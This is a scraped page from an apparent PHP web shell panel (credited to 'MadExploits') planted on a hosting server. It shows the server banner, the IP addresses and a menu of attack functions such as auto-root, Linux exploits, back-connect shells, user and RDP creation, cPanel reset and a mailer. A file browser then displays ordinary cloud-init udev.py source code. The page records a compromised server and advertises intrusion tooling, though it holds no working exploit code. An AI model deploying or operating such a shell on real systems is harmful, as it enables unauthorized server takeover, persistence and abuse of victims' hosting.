Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 3.145.92.98
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
python2.7 /
site-packages /
cloudinit /
net /
[ HOME SHELL ]
Name
Size
Permission
Action
__init__.py
11.71
KB
-rw-r--r--
__init__.pyc
11.08
KB
-rw-r--r--
__init__.pyo
11.08
KB
-rw-r--r--
cmdline.py
6.47
KB
-rw-r--r--
cmdline.pyc
5.92
KB
-rw-r--r--
cmdline.pyo
5.92
KB
-rw-r--r--
eni.py
18.84
KB
-rw-r--r--
eni.pyc
14.67
KB
-rw-r--r--
eni.pyo
14.67
KB
-rw-r--r--
network_state.py
13.6
KB
-rw-r--r--
network_state.pyc
14.69
KB
-rw-r--r--
network_state.pyo
14.69
KB
-rw-r--r--
renderer.py
1.17
KB
-rw-r--r--
renderer.pyc
1.66
KB
-rw-r--r--
renderer.pyo
1.66
KB
-rw-r--r--
sysconfig.py
20.78
KB
-rw-r--r--
sysconfig.pyc
17.02
KB
-rw-r--r--
sysconfig.pyo
17.02
KB
-rw-r--r--
udev.py
1.33
KB
-rw-r--r--
udev.pyc
1.68
KB
-rw-r--r--
udev.pyo
1.55
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : udev.py
# Copyright (C) 2015 Canonical Ltd. # # Author: Ryan Harper <ryan.harper@canonical.com> # # This file is part of cloud-init. See LICENSE file for license information. def compose_udev_equality(key, value): """Return a udev comparison clause, like `ACTION=="add"`.""" assert key == key.upper() return '%s=="%s"' % (key, value) def compose_udev_attr_equality(attribute, value): """Return a udev attribute comparison clause, like `ATTR{type}=="1"`.""" assert attribute == attribute.lower() return 'ATTR{%s}=="%s"' % (attribute, value) def compose_udev_setting(key, value): """Return a udev assignment clause, like `NAME="eth0"`.""" assert key == key.upper() return '%s="%s"' % (key, value) def generate_udev_rule(interface, mac): """Return a udev rule to set the name of network interface with `mac`. The rule ends up as a single line looking something like: SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}="ff:ee:dd:cc:bb:aa", NAME="eth0" """ rule = ', '.join([ compose_udev_equality('SUBSYSTEM', 'net'), compose_udev_equality('ACTION', 'add'), compose_udev_equality('DRIVERS', '?*'), compose_udev_attr_equality('address', mac), compose_udev_setting('NAME', interface), ]) return '%s\n' % rule # vi: ts=4 expandtab syntax=python
Close